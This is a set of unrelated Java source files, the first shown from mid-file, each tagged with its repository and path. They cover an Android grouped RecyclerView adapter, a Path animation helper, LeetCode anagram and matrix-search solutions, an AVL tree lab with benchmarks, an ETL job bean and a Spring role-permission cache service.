notifyItemRangeChanged(index, getItemCount() - itemCount); synchronized (mLock) { mStructures.remove(groupPosition); } } } /** * 通知多组数据删除,包括组头,组尾和子项 * * @param groupPosition */ public void notifyGroupRangeRemoved(int groupPosition, int count) { int index = getPositionForGroupHeader(groupPosition); int itemCount = 0; if (groupPosition + count <= mStructures.size()) { itemCount = countGroupRangeItem(groupPosition, groupPosition + count); } else { itemCount = countGroupRangeItem(groupPosition, mStructures.size()); } if (index >= 0 && itemCount > 0) { notifyItemRangeRemoved(index, itemCount); if (getItemCount() > itemCount){ notifyItemRangeChanged(index, getItemCount() - itemCount); } synchronized (mLock) { mStructures.remove(groupPosition); } } } /** * 通知组头删除 * * @param groupPosition */ public void notifyHeaderRemoved(int groupPosition) { int index = getPositionForGroupHeader(groupPosition); if (index >= 0) { synchronized (mLock) { GroupStructure structure = mStructures.get(groupPosition); structure.setHasHeader(false); } notifyItemRemoved(index); if (getItemCount() > index){ notifyItemRangeChanged(index, getItemCount() - index); } } } /** * 通知组尾删除 * * @param groupPosition */ public void notifyFooterRemoved(int groupPosition) { //如果index返回-1,则表示没有找到 int index = getPositionForGroupFooter(groupPosition); if (index >= 0) { synchronized (mLock) { GroupStructure structure = mStructures.get(groupPosition); //这个地方是将footer给移除 structure.setHasFooter(false); } notifyItemRemoved(index); if (getItemCount() - index > 0){ notifyItemRangeChanged(index, getItemCount() - index); } } } /** * 通知一组里的某个子项删除 * * @param groupPosition * @param childPosition */ public void notifyChildRemoved(int groupPosition, int childPosition) { if (mStructures.size()>groupPosition){ int index = getPositionForChild(groupPosition, childPosition); if (index >= 0) { synchronized (mLock) { GroupStructure structure = mStructures.get(groupPosition); structure.setChildrenCount(structure.getChildrenCount() - 1); } notifyItemRemoved(index); if (getItemCount() > index){ notifyItemRangeChanged(index, getItemCount() - index); } } } } /** * 通知一组里的多个子项删除 * * @param groupPosition * @param childPosition * @param count */ public void notifyChildRangeRemoved(int groupPosition, int childPosition, int count) { if (mStructures.size()>groupPosition){ int index = getPositionForChild(groupPosition, childPosition); if (index >= 0) { synchronized (mLock) { GroupStructure structure = mStructures.get(groupPosition); int childCount = structure.getChildrenCount(); int removeCount = count; if (childCount < childPosition + count) { removeCount = childCount - childPosition; } notifyItemRangeRemoved(index, removeCount); notifyItemRangeChanged(index, getItemCount() - removeCount); structure.setChildrenCount(childCount - removeCount); } } } } /** * 通知一组里的所有子项删除 * * @param groupPosition */ public void notifyChildrenRemoved(int groupPosition) { if (groupPosition < mStructures.size()) { int index = getPositionForChild(groupPosition, 0); if (index >= 0) { synchronized (mLock) { GroupStructure structure = mStructures.get(groupPosition); int itemCount = structure.getChildrenCount(); notifyItemRangeRemoved(index, itemCount); notifyItemRangeChanged(index, getItemCount() - itemCount); structure.setChildrenCount(0); } } } } //****** 插入操作 *****// /** * 通知一组数据插入 * * @param groupPosition */ public void notifyGroupInserted(int groupPosition) { GroupStructure structure = new GroupStructure(hasHeader(groupPosition), hasFooter(groupPosition), getChildrenCount(groupPosition)); synchronized (mLock) { if (groupPosition < mStructures.size()) { mStructures.add(groupPosition, structure); } else { mStructures.add(structure); groupPosition = mStructures.size() - 1; } } int index = countGroupRangeItem(0, groupPosition); int itemCount = countGroupItem(groupPosition); if (itemCount > 0) { notifyItemRangeInserted(index, itemCount); if (getItemCount() > index){ notifyItemRangeChanged(index + itemCount, getItemCount() - index); } } } /** * 通知多组数据插入 * * @param groupPosition * @param count */ public void notifyGroupRangeInserted(int groupPosition, int count) { ArrayList<GroupStructure> list = new ArrayList<>(); for (int i = 0; i < count; i++) { GroupStructure structure = new GroupStructure(hasHeader(i), hasFooter(i), getChildrenCount(i)); list.add(structure); } synchronized (mLock) { if (groupPosition < mStructures.size()) { mStructures.addAll(groupPosition, list); } else { mStructures.addAll(list); groupPosition = mStructures.size() - list.size(); } } int index = countGroupRangeItem(0, groupPosition); int itemCount = countGroupRangeItem(groupPosition, count); if (itemCount > 0) { notifyItemRangeInserted(index, itemCount); notifyItemRangeChanged(index + itemCount, getItemCount() - index); } } /** * 通知组头插入 * * @param groupPosition */ public void notifyHeaderInserted(int groupPosition) { if (groupPosition < mStructures.size() && 0 > getPositionForGroupHeader(groupPosition)) { synchronized (mLock) { GroupStructure structure = mStructures.get(groupPosition); structure.setHasHeader(true); } int index = countGroupRangeItem(0, groupPosition); notifyItemInserted(index); if (getItemCount() > index){ notifyItemRangeChanged(index + 1, getItemCount() - index); } } } /** * 通知组尾插入 * * @param groupPosition */ public void notifyFooterInserted(int groupPosition) { if (groupPosition < mStructures.size() && 0 > getPositionForGroupFooter(groupPosition)) { synchronized (mLock) { GroupStructure structure = mStructures.get(groupPosition); structure.setHasFooter(true); } int index = countGroupRangeItem(0, groupPosition + 1); notifyItemInserted(index); if (getItemCount() > index){ notifyItemRangeChanged(index + 1, getItemCount() - index); } } } /** * 通知一个子项到组里插入 * * @param groupPosition * @param childPosition */ public void notifyChildInserted(int groupPosition, int childPosition) { if (groupPosition < mStructures.size()) { synchronized (mLock) { GroupStructure structure = mStructures.get(groupPosition); int index = getPositionForChild(groupPosition, childPosition); if (index < 0) { index = countGroupRangeItem(0, groupPosition); index += structure.hasHeader() ? 1 : 0; index += structure.getChildrenCount(); } structure.setChildrenCount(structure.getChildrenCount() + 1); notifyItemInserted(index); if (getItemCount()>index){ notifyItemRangeChanged(index + 1, getItemCount() - index); } } } } /** * 通知一组里的多个子项插入 * * @param groupPosition * @param childPosition * @param count */ public void notifyChildRangeInserted(int groupPosition, int childPosition, int count) { //判断组的索引要小于组的长度,避免索引越界异常 if (groupPosition < mStructures.size()) { //计算多个组的项的总和 int index = countGroupRangeItem(0, groupPosition); synchronized (mLock) { //获取组的数据 GroupStructure structure = mStructures.get(groupPosition); //判断是否组的头部header if (structure.hasHeader()) { index++; } //获取组中所有孩子的数量 if (childPosition < structure.getChildrenCount()) { index += childPosition; } else { index += structure.getChildrenCount(); } //count指的是插入数据的数量 if (count > 0) { //设置所有孩子的数量 structure.setChildrenCount(structure.getChildrenCount() + count); //插入数据刷新 notifyItemRangeInserted(index, count); //保证刷新itemCount的数量必须大于0 if (getItemCount() - index > 0){ notifyItemRangeChanged(index + count, getItemCount() - index); } } } } } /** * 通知一组里的所有子项插入 * * @param groupPosition */ public void notifyChildrenInserted(int groupPosition) { if (groupPosition < mStructures.size()) { int index = countGroupRangeItem(0, groupPosition); synchronized (mLock) { GroupStructure structure = mStructures.get(groupPosition); if (structure.hasHeader()) { index++; } int itemCount = getChildrenCount(groupPosition); if (itemCount > 0) { structure.setChildrenCount(itemCount); notifyItemRangeInserted(index, itemCount); if (getItemCount() - index > 0){ notifyItemRangeChanged(index + itemCount, getItemCount() - index); } } } } } //****** 设置点击事件 *****// /** * 设置组头点击事件 * * @param listener */ public void setOnHeaderClickListener(OnHeaderClickListener listener) { mOnHeaderClickListener = listener; } /** * 设置组尾点击事件 * * @param listener */ public void setOnFooterClickListener(OnFooterClickListener listener) { mOnFooterClickListener = listener; } /** * 设置子项点击事件 * * @param listener */ public void setOnChildClickListener(OnChildClickListener listener) { mOnChildClickListener = listener; } /*-----------------------------------下面这些是抽象方法-----------------------------------------*/ public abstract int getGroupCount(); public abstract int getChildrenCount(int groupPosition); public abstract boolean hasHeader(int groupPosition); public abstract boolean hasFooter(int groupPosition); public abstract int getHeaderLayout(int viewType); public abstract int getFooterLayout(int viewType); public abstract int getChildLayout(int viewType); public abstract void onBindHeaderViewHolder(GroupViewHolder holder, int groupPosition); public abstract void onBindFooterViewHolder(GroupViewHolder holder, int groupPosition); public abstract void onBindChildViewHolder(GroupViewHolder holder, int groupPosition, int childPosition); class GroupDataObserver extends RecyclerView.AdapterDataObserver { @Override public void onChanged() { isDataChanged = true; } @Override public void onItemRangeChanged(int positionStart, int itemCount) { isDataChanged = true; } @Override public void onItemRangeChanged(int positionStart, int itemCount, Object payload) { onItemRangeChanged(positionStart, itemCount); } @Override public void onItemRangeInserted(int positionStart, int itemCount) { isDataChanged = true; } @Override public void onItemRangeRemoved(int positionStart, int itemCount) { isDataChanged = true; } } }
yangchong211/YCAppTool
WidgetLib/GroupAdapterLib/src/main/java/com/yc/adapter/AbsGroupAdapter.java
65,612
package com.mcxtzhang.pathanimlib; import android.animation.Animator; import android.animation.AnimatorListenerAdapter; import android.animation.ValueAnimator; import android.graphics.Path; import android.graphics.PathMeasure; import android.util.Log; import android.view.View; import android.view.animation.LinearInterpolator; /** * 介绍:一个自定义View Path动画的工具类 * <p> * 一个SourcePath 内含多段(一段)Path,循环取出每段Path,并做一个动画, * <p> * 默认动画时间1500ms,无限循环 * 可以通过构造函数修改这两个参数 * <p> * 对外暴露 startAnim() 和 stopAnim()两个方法 * <p> * 子类可通过重写onPathAnimCallback()方法,对animPath进行再次操作,从而定义不同的动画效果 * 作者:zhangxutong * 邮箱:[email protected] * 时间: 2016/11/2. */ public class PathAnimHelper { private static final String TAG = "zxt/PathAnimHelper"; protected static final long mDefaultAnimTime = 1500;//默认动画总时间 protected View mView;//执行动画的View protected Path mSourcePath;//源Path protected Path mAnimPath;//用于绘制动画的Path protected long mAnimTime;//动画一共的时间 protected boolean mIsInfinite;//是否无限循环 protected ValueAnimator mAnimator;//动画对象 /** * INIT FUNC **/ public PathAnimHelper(View view, Path sourcePath, Path animPath) { this(view, sourcePath, animPath, mDefaultAnimTime, true); } public PathAnimHelper(View view, Path sourcePath, Path animPath, long animTime, boolean isInfinite) { if (view == null || sourcePath == null || animPath == null) { Log.e(TAG, "PathAnimHelper init error: view 、sourcePath、animPath can not be null"); return; } mView = view; mSourcePath = sourcePath; mAnimPath = animPath; mAnimTime = animTime; mIsInfinite = isInfinite; } /** * GET SET FUNC **/ public View getView() { return mView; } public PathAnimHelper setView(View view) { mView = view; return this; } public Path getSourcePath() { return mSourcePath; } public PathAnimHelper setSourcePath(Path sourcePath) { mSourcePath = sourcePath; return this; } public Path getAnimPath() { return mAnimPath; } public PathAnimHelper setAnimPath(Path animPath) { mAnimPath = animPath; return this; } public long getAnimTime() { return mAnimTime; } public PathAnimHelper setAnimTime(long animTime) { mAnimTime = animTime; return this; } public boolean isInfinite() { return mIsInfinite; } public PathAnimHelper setInfinite(boolean infinite) { mIsInfinite = infinite; return this; } public ValueAnimator getAnimator() { return mAnimator; } public PathAnimHelper setAnimator(ValueAnimator animator) { mAnimator = animator; return this; } /** * 执行动画 */ public void startAnim() { startAnim(mView, mSourcePath, mAnimPath, mAnimTime, mIsInfinite); } /** * 一个SourcePath 内含多段Path,循环取出每段Path,并做一个动画 * 自定义动画的总时间 * 和是否循环 * * @param view 需要做动画的自定义View * @param sourcePath 源Path * @param animPath 自定义View用这个Path做动画 * @param totalDuaration 动画一共的时间 * @param isInfinite 是否无限循环 */ protected void startAnim(View view, Path sourcePath, Path animPath, long totalDuaration, boolean isInfinite) { if (view == null || sourcePath == null || animPath == null) { return; } PathMeasure pathMeasure = new PathMeasure(); //pathMeasure.setPath(sourcePath, false); //先重置一下需要显示动画的path animPath.reset(); animPath.lineTo(0, 0); pathMeasure.setPath(sourcePath, false); //这里仅仅是为了 计算一下每一段的duration int count = 0; while (pathMeasure.getLength() != 0) { pathMeasure.nextContour(); count++; } //经过上面这段计算duration代码的折腾 需要重新初始化pathMeasure pathMeasure.setPath(sourcePath, false); loopAnim(view, sourcePath, animPath, totalDuaration, pathMeasure, totalDuaration / count, isInfinite); } /** * 循环取出每一段path ,并执行动画 * * @param animPath 自定义View用这个Path做动画 * @param pathMeasure 用于测量的PathMeasure */ protected void loopAnim(final View view, final Path sourcePath, final Path animPath, final long totalDuaration, final PathMeasure pathMeasure, final long duration, final boolean isInfinite) { //动画正在运行的话,先stop吧。万一有人要使用新动画呢,(正经用户不会这么用。) stopAnim(); mAnimator = ValueAnimator.ofFloat(0.0f, 1.0f); mAnimator.setInterpolator(new LinearInterpolator()); mAnimator.setDuration(duration); mAnimator.setRepeatCount(ValueAnimator.INFINITE); mAnimator.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() { @Override public void onAnimationUpdate(ValueAnimator animation) { //Log.i("TAG", "onAnimationUpdate"); //增加一个callback 便于子类重写搞事情 onPathAnimCallback(view, sourcePath, animPath, pathMeasure, animation); //通知View刷新自己 view.invalidate(); } }); mAnimator.addListener(new AnimatorListenerAdapter() { @Override public void onAnimationRepeat(Animator animation) { //Log.w("TAG", "onAnimationRepeat: "); //每段path走完后,要补一下 某些情况会出现 animPath不满的情况 pathMeasure.getSegment(0, pathMeasure.getLength(), animPath, true); //绘制完一条Path之后,再绘制下一条 pathMeasure.nextContour(); //长度为0 说明一次循环结束 if (pathMeasure.getLength() == 0) { if (isInfinite) {//如果需要循环动画 animPath.reset(); animPath.lineTo(0, 0); pathMeasure.setPath(sourcePath, false); } else {//不需要就停止(因为repeat是无限 需要手动停止) animation.end(); } } } }); mAnimator.start(); } /** * 停止动画 */ public void stopAnim() { //Log.e("TAG", "stopAnim: "); if (null != mAnimator && mAnimator.isRunning()) { mAnimator.end(); //Log.e("TAG", "true stopAnim: "); } } /** * 用于子类继承搞事情,对animPath进行再次操作的函数 * * @param view * @param sourcePath * @param animPath * @param pathMeasure */ public void onPathAnimCallback(View view, Path sourcePath, Path animPath, PathMeasure pathMeasure, ValueAnimator animation) { float value = (float) animation.getAnimatedValue(); //获取一个段落 pathMeasure.getSegment(0, pathMeasure.getLength() * value, animPath, true); } }
mcxtzhang/PathAnimView
pathanimlib/src/main/java/com/mcxtzhang/pathanimlib/PathAnimHelper.java
65,613
import java.util.ArrayList; import java.util.Arrays; import java.util.HashMap; import java.util.List; import java.util.Map; public class GroupAnagrams { /** * 49. Group Anagrams * 简单的办法,排序然后放到hash里面, * Time O(n*mlogm) , Space O(n) */ public List<List<String>> groupAnagrams(String[] strs) { List<List<String>> result = new ArrayList<>(); HashMap<String, List<String>> map = new HashMap<String, List<String>>(); for (String str : strs) { char[] chars = str.toCharArray(); Arrays.sort(chars); String sortedStr = new String(chars); if (!map.containsKey(sortedStr)) { map.put(sortedStr, new ArrayList<String>()); } map.get(sortedStr).add(str); int c = str.codePointAt(0); } for (Map.Entry<String, List<String>> entry : map.entrySet()) { result.add(entry.getValue()); } return result; } /** * 另外一种做法 * If the average length of verbs is m and array length is n, * then the time is O(n*m). */ public List<List<String>> groupAnagrams1(String[] strs) { List<List<String>> result = new ArrayList<List<String>>(); HashMap<String, ArrayList<String>> map = new HashMap<String, ArrayList<String>>(); for(String str: strs){ char[] arr = new char[26]; for(int i=0; i<str.length(); i++){ arr[str.charAt(i)-'a']++; } String ns = new String(arr); if(map.containsKey(ns)){ map.get(ns).add(str); }else{ ArrayList<String> al = new ArrayList<String>(); al.add(str); map.put(ns, al); } } result.addAll(map.values()); return result; } /** * 249. Group Shifted Strings Add to List * "abc" -> "bcd" -> ... -> "xyz" * * 这题和上面一题的不同,就是字母不一定对应,但是字母之间的关系是对应的, * 这样的话,hashmap里面的key应该存的是关系,比如 abc, b-a = 1, c-b = 1,就存 * 注意,这里要处理负数,万一后面比前面小,要加上26 */ public List<List<String>> groupStrings(String[] strings) { HashMap<String, List<String>> map = new HashMap<>(); for (String str : strings) { StringBuilder keySb = new StringBuilder(); for (int i = 1; i < str.length(); i++) { int diff = ((int)str.charAt(i) - str.charAt(i-1)) % 26; if (diff < 0) { //in case s[i] is smaller than s[i-1] diff += 26; } keySb.append(diff); } String key = keySb.toString(); if (!map.containsKey(key)) { map.put(key, new ArrayList<String>()); } map.get(key).add(str); } List<List<String>> result = new ArrayList<>(); for (Map.Entry<String, List<String>> entry : map.entrySet()) { result.add(entry.getValue()); } return result; } /** * follow up是如果考虑所有字符 甚至汉字日文韩文klingon 怎么办. * trick 在于 unicode take 1 to 4 bytes, 而java charAt() 返回长为2 bytes 的char, 这里要用codepoint 来表征字符 */ public static void getCodePoint(String str) { int index = 0; while (index < str.length()) { int codepoint = str.codePointAt(index); System.out.print(codepoint); index += Character.charCount(codepoint); } } public static void main(String[] args) { getCodePoint("A你好"); } }
tzheng/SystemDesign
SourceCode/GroupAnagrams.java
65,616
package lab7; //import chapter25.BST; import lab5book.RedPackageUtil; import java.util.*; public class AVLTree<E extends Comparable<E>> extends BST<E> { /** * Create a default AVL tree */ public AVLTree() { } /** * Create an AVL tree from an array of objects */ public AVLTree(E[] objects) { super(objects); } @Override /** Override createNewNode to create an AVLTreeNode */ protected AVLTreeNode<E> createNewNode(E e) { return new AVLTreeNode<E>(e); } @Override /** Insert an element and rebalance if necessary */ public boolean insert(E e) { boolean successful = super.insert(e); if (!successful) return false; // e is already in the tree else { balancePath(e); // Balance from e to the root if necessary } return true; // e is inserted } /** * Update the height of a specified node */ private void updateHeight(AVLTreeNode<E> node) { if (node.left == null && node.right == null) // node is a leaf node.height = 0; else if (node.left == null) // node has no left subtree node.height = 1 + ((AVLTreeNode<E>) (node.right)).height; else if (node.right == null) // node has no right subtree node.height = 1 + ((AVLTreeNode<E>) (node.left)).height; else node.height = 1 + Math.max(((AVLTreeNode<E>) (node.right)).height, ((AVLTreeNode<E>) (node.left)).height); } /** * Balance the nodes in the path from the specified * node to the root if necessary */ private void balancePath(E e) { java.util.ArrayList<TreeNode<E>> path = path(e); for (int i = path.size() - 1; i >= 0; i--) { AVLTreeNode<E> A = (AVLTreeNode<E>) (path.get(i)); updateHeight(A); AVLTreeNode<E> parentOfA = (A == root) ? null : (AVLTreeNode<E>) (path.get(i - 1)); switch (balanceFactor(A)) { case -2: if (balanceFactor((AVLTreeNode<E>) A.left) <= 0) { balanceLL(A, parentOfA); // Perform LL rotation } else { balanceLR(A, parentOfA); // Perform LR rotation } break; case +2: if (balanceFactor((AVLTreeNode<E>) A.right) >= 0) { balanceRR(A, parentOfA); // Perform RR rotation } else { balanceRL(A, parentOfA); // Perform RL rotation } } } } /** * Return the balance factor of the node */ private int balanceFactor(AVLTreeNode<E> node) { if (node.right == null) // node has no right subtree return -node.height; else if (node.left == null) // node has no left subtree return +node.height; else return ((AVLTreeNode<E>) node.right).height - ((AVLTreeNode<E>) node.left).height; } /** * Balance LL (see Figure 27.1) */ private void balanceLL(TreeNode<E> A, TreeNode<E> parentOfA) { TreeNode<E> B = A.left; // A is left-heavy and B is left-heavy if (A == root) { root = B; } else { if (parentOfA.left == A) { parentOfA.left = B; } else { parentOfA.right = B; } } A.left = B.right; // Make T2 the left subtree of A B.right = A; // Make A the left child of B updateHeight((AVLTreeNode<E>) A); updateHeight((AVLTreeNode<E>) B); } /** * Balance LR (see Figure 27.1c) */ private void balanceLR(TreeNode<E> A, TreeNode<E> parentOfA) { TreeNode<E> B = A.left; // A is left-heavy TreeNode<E> C = B.right; // B is right-heavy if (A == root) { root = C; } else { if (parentOfA.left == A) { parentOfA.left = C; } else { parentOfA.right = C; } } A.left = C.right; // Make T3 the left subtree of A B.right = C.left; // Make T2 the right subtree of B C.left = B; C.right = A; // Adjust heights updateHeight((AVLTreeNode<E>) A); updateHeight((AVLTreeNode<E>) B); updateHeight((AVLTreeNode<E>) C); } /** * Balance RR (see Figure 27.1b) */ private void balanceRR(TreeNode<E> A, TreeNode<E> parentOfA) { TreeNode<E> B = A.right; // A is right-heavy and B is right-heavy if (A == root) { root = B; } else { if (parentOfA.left == A) { parentOfA.left = B; } else { parentOfA.right = B; } } A.right = B.left; // Make T2 the right subtree of A B.left = A; updateHeight((AVLTreeNode<E>) A); updateHeight((AVLTreeNode<E>) B); } /** * Balance RL (see Figure 27.1d) */ private void balanceRL(TreeNode<E> A, TreeNode<E> parentOfA) { TreeNode<E> B = A.right; // A is right-heavy TreeNode<E> C = B.left; // B is left-heavy if (A == root) { root = C; } else { if (parentOfA.left == A) { parentOfA.left = C; } else { parentOfA.right = C; } } A.right = C.left; // Make T2 the right subtree of A B.left = C.right; // Make T3 the left subtree of B C.left = A; C.right = B; // Adjust heights updateHeight((AVLTreeNode<E>) A); updateHeight((AVLTreeNode<E>) B); updateHeight((AVLTreeNode<E>) C); } @Override /** Delete an element from the binary tree. * Return true if the element is deleted successfully * Return false if the element is not in the tree */ public boolean delete(E element) { if (root == null) return false; // Element is not in the tree // Locate the node to be deleted and also locate its parent node TreeNode<E> parent = null; TreeNode<E> current = root; while (current != null) { if (element.compareTo(current.element) < 0) { parent = current; current = current.left; } else if (element.compareTo(current.element) > 0) { parent = current; current = current.right; } else break; // Element is in the tree pointed by current } if (current == null) return false; // Element is not in the tree // Case 1: current has no left children (See Figure 23.6) if (current.left == null) { // Connect the parent with the right child of the current node if (parent == null) { root = current.right; } else { if (element.compareTo(parent.element) < 0) parent.left = current.right; else parent.right = current.right; // Balance the tree if necessary balancePath(parent.element); } } else { // Case 2: The current node has a left child // Locate the rightmost node in the left subtree of // the current node and also its parent TreeNode<E> parentOfRightMost = current; TreeNode<E> rightMost = current.left; while (rightMost.right != null) { parentOfRightMost = rightMost; rightMost = rightMost.right; // Keep going to the right } // Replace the element in current by the element in rightMost current.element = rightMost.element; // Eliminate rightmost node if (parentOfRightMost.right == rightMost) parentOfRightMost.right = rightMost.left; else // Special case: parentOfRightMost is current parentOfRightMost.left = rightMost.left; // Balance the tree if necessary balancePath(parentOfRightMost.element); } size--; return true; // Element inserted } /** * AVLTreeNode is TreeNode plus height */ protected static class AVLTreeNode<E extends Comparable<E>> extends BST.TreeNode<E> { protected int height = 0; // New data field public AVLTreeNode(E o) { super(o); } } // void genData(){ // Random random = new Random(); //// 随机生成50000个数字,并 //// List<Integer>list=new ArrayList<>(); // int siz=50000; // Integer [] arr=new Integer[siz]; // for (int i = 0; i <50000 ; i++) { // int rndInt=(int) RedPackageUtil.random(random,0,1111111); //// list.add((int) RedPackageUtil.random(random,0,1111111)); // arr[i]=rndInt; // } // // Integer[] clone = arr.clone(); // ArrayUtils.shuffle(clone); // } static void showTest() { // 可以显示 // 但是 7个数字 他就很大了 万一 5000个数字 肯定显示不了了 // https://blog.csdn.net/lenfranky/article/details/89645755 // 根据给定的数组创建一棵树 // TreeNode root = ConstructTree.constructTree(new Integer[] {1, 2, 3, 4, 5 ,6, 7}); int siz = 20; Integer[] arr = new Integer[siz]; Random random = new Random(); for (int i = 0; i < siz; i++) { int rndInt = (int) RedPackageUtil.random(random, 0, 1111111); // list.add((int) RedPackageUtil.random(random,0,1111111)); arr[i] = rndInt; } // BST<Integer> bst =new BST<>(new Integer[] {1, 2, 3, 4, 5 ,6, 7}); BST<Integer> bst = new BST<>(arr); // 将刚刚创建的树打印出来 // TreeOperation.show(root); BST.show(bst.root); //———————————————— // 版权声明:本文为CSDN博主「LenFranky」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 // 原文链接:https://blog.csdn.net/lenfranky/article/details/89645755 } static void searchTest() { Random random = new Random(); // 随机生成50000个数字,并 // List<Integer>list=new ArrayList<>(); int siz = 50000; int maxNum = 999999999; // int siz = 20; // Integer[] arr = new Integer[siz]; // for (int i = 0; i < siz; i++) { // int rndInt = (int) RedPackageUtil.random(random, 0, 1111111); //// list.add((int) RedPackageUtil.random(random,0,1111111)); // arr[i] = rndInt; // } // Integer[] arr = RedPackageUtil.getRndIntArr(siz, 0, 99); Integer[] arr = RedPackageUtil.getRndIntArr(siz, 0, maxNum); Integer[] searchLst = arr.clone(); Integer[] delLst = arr.clone(); ArrayUtils.shuffle(searchLst); ArrayUtils.shuffle(delLst); calBst(arr, searchLst, delLst); calAvl(arr, searchLst, delLst); // BST 耗时 31 ms // AVLTree 耗时 38 ms // BST 搜索 耗时 52 ms // BST 删除 耗时 45 ms // AVLTree 搜索 耗时 46 ms // AVLTree 删除 耗时 91 ms // // // BST<Integer>bst=new BST<>(list); // BST<Integer>bst=new BST<>(arr); //// Collections.shuffle(list) //// Arrays.shu // long start = System.currentTimeMillis(); // for (Integer integer : clone) { // boolean search = bst.search(integer); // } // long end = System.currentTimeMillis(); // long waste=end-start; // System.out.println("BST 耗时 "+waste+" ms"); //// list.forEach(o->); // // AVLTree<Integer>avlTree=new AVLTree<>(arr); } public static void main(String[] args) { // showTest(); searchTest(); } static void calBst(Integer[] arr, Integer[] searchLst, Integer[] delLst) { // BST<Integer>bst=new BST<>(list); BST<Integer> bst = new BST<>(arr); // Collections.shuffle(list) // Arrays.shu // BST.show(bst.root); long start = System.currentTimeMillis(); for (Integer integer : searchLst) { boolean search = bst.search(integer); // System.out.println(String.format(" %d searched? %b", integer,search)); // java % bool // java % bool 字符串 format // https://blog.csdn.net/weixin_35473090/article/details/115078916 } long end = System.currentTimeMillis(); long waste = end - start; System.out.println("BST 搜索 耗时 " + waste + " ms"); // list.forEach(o->); start = System.currentTimeMillis(); for (Integer integer : delLst) { boolean deleted = bst.delete(integer); // System.out.println(String.format(" %d searched? %b", integer,search)); // java % bool // java % bool 字符串 format // https://blog.csdn.net/weixin_35473090/article/details/115078916 } end = System.currentTimeMillis(); waste = end - start; System.out.println("BST 删除 耗时 " + waste + " ms"); } static void calAvl(Integer[] arr, Integer[] searchLst, Integer[] delLst) { // BST<Integer>bst=new BST<>(list); // BST<Integer>bst=new BST<>(arr); AVLTree<Integer> avlTree = new AVLTree<>(arr); // Collections.shuffle(list) // Arrays.shu // avlTree.show(); long start = System.currentTimeMillis(); for (Integer integer : searchLst) { boolean search = avlTree.search(integer); // System.out.println(String.format(" %d searched? %b", integer,search)); } long end = System.currentTimeMillis(); long waste = end - start; System.out.println("AVLTree 搜索 耗时 " + waste + " ms"); // list.forEach(o->); start = System.currentTimeMillis(); for (Integer integer : delLst) { boolean deleted = avlTree.delete(integer); // System.out.println(String.format(" %d searched? %b", integer,search)); // java % bool // java % bool 字符串 format // https://blog.csdn.net/weixin_35473090/article/details/115078916 } end = System.currentTimeMillis(); waste = end - start; System.out.println("AVLTree 删除 耗时 " + waste + " ms"); } }
starplatinum3/java_high
src/lab7/AVLTree.java
65,617
class Solution { public boolean searchMatrix(int[][] matrix, int target) { //terminal codintion 一维为空边界 if (matrix.length == 0){ return false; } int low = 0; int height = matrix.length - 1; //terminal codintion 二维为空边界 if (matrix[low].length == 0){ return false; } //先用二分法确定一维的位置 while (low <= height){ int middle = low + (height - low) / 2; int x = 0; int y = matrix[middle].length - 1; int mid = x + (y - x) / 2; //总是要碰下运气的,万一中了呢 if(matrix[middle][mid] == target){ return true; } //先确定一维数组的位置 if (matrix[middle][y] < target){ low = middle + 1; }else if (matrix[middle][x] > target){ height = middle - 1; }else { //确定二维数组的位置 while (x <= y){ mid = x + (y - x) / 2; //返回结果 if (matrix[middle][mid] == target){ return true; } if (matrix[middle][mid] > target){ y = mid - 1; }else { x = mid + 1; } } //这里需要跳出一维的循环 break; } } //数组内不包含要寻找的元素 return false; } }
algorithm004-03/algorithm004-03
Week 03/id_538/LeetCode_74_538.java
65,619
package hrds.control.beans; import hrds.commons.entity.Etl_job_cur; public class EtlJobBean extends Etl_job_cur implements Comparable<EtlJobBean> { //后一批次作业的调度日期 private String strNextDate; //前一批次作业是否完成flag private boolean preDateFlag; //依赖作业完成flag private boolean dependencyFlag; //已经完成的依赖作业个数 private int DoneDependencyJobCount; //作业调度触发时间,仅在调度触发方式为"T"时有效 private long executeTime; //作业开始被调度的时间 private long jobStartTime; public EtlJobBean() { super(); } public String getStrNextDate() { return strNextDate; } public void setStrNextDate(String strNextDate) { this.strNextDate = strNextDate; } public boolean isPreDateFlag() { return preDateFlag; } public void setPreDateFlag(boolean preDateFlag) { this.preDateFlag = preDateFlag; } public boolean isDependencyFlag() { return dependencyFlag; } public void setDependencyFlag(boolean dependencyFlag) { this.dependencyFlag = dependencyFlag; } public int getDoneDependencyJobCount() { return DoneDependencyJobCount; } public void setDoneDependencyJobCount(int doneDependencyJobCount) { DoneDependencyJobCount = doneDependencyJobCount; } public long getExecuteTime() { return executeTime; } public void setExecuteTime(long executeTime) { this.executeTime = executeTime; } public long getJobStartTime() { return jobStartTime; } public void setJobStartTime(long jobStartTime) { this.jobStartTime = jobStartTime; } @Override public int compareTo(EtlJobBean otherEtlJob) { if (null == otherEtlJob){ return 0; //FIXME 当前对象不空,去和一个NULL做比较返回相等,为什么。 // 因为该方法用于对象数组的排序。 // 逻辑上讲,为null的对象不应该参与比较,但为了'万一'的情况出现了null,则不做任何动作。 } //FIXME 为什么对象比较用的是这一个字段? // 1、重写该方法用于对象数组的排序;2、对象间的比较总要有个依据, // 而这个字段在业务角度表示为一个作业的优先级,所以使用这个字段。 return otherEtlJob.getJob_priority_curr().compareTo(super.getJob_priority_curr()); } }
hyxchao/hrsv5
hrds_Control/src/main/java/hrds/control/beans/EtlJobBean.java
65,623
package com.pj.project4sp.role4permission; import java.util.ArrayList; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.cache.annotation.CacheEvict; import org.springframework.cache.annotation.Cacheable; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; /** * 角色权限中间表 * @author kong * */ @Service public class SpRolePermissionService { @Autowired SpRolePermissionMapper spRolePermissionMapper; /** * 获取指定角色的所有权限码 【增加缓存】 */ @Cacheable(value="api_pcode_list", key="#roleId") public List<String> getPcodeByRid(long roleId){ return spRolePermissionMapper.getPcodeByRoleId(roleId); } /** * [T] 修改角色的一组权限关系 【清除缓存 】 */ @Transactional(rollbackFor = Exception.class) @CacheEvict(value= {"api_pcode_list"}, key="#roleId") public int updateRoleMenu(long roleId, List<String> pcodeArray){ // 万一为空 if(pcodeArray == null){ pcodeArray = new ArrayList<>(); } // 先删 spRolePermissionMapper.deleteByRoleId(roleId); // 再添加 for(String pcode : pcodeArray){ spRolePermissionMapper.add(roleId, pcode); } // 返回 return pcodeArray.size(); } }
click33/Sa-plus
sp-server/src/main/java/com/pj/project4sp/role4permission/SpRolePermissionService.java
65,625
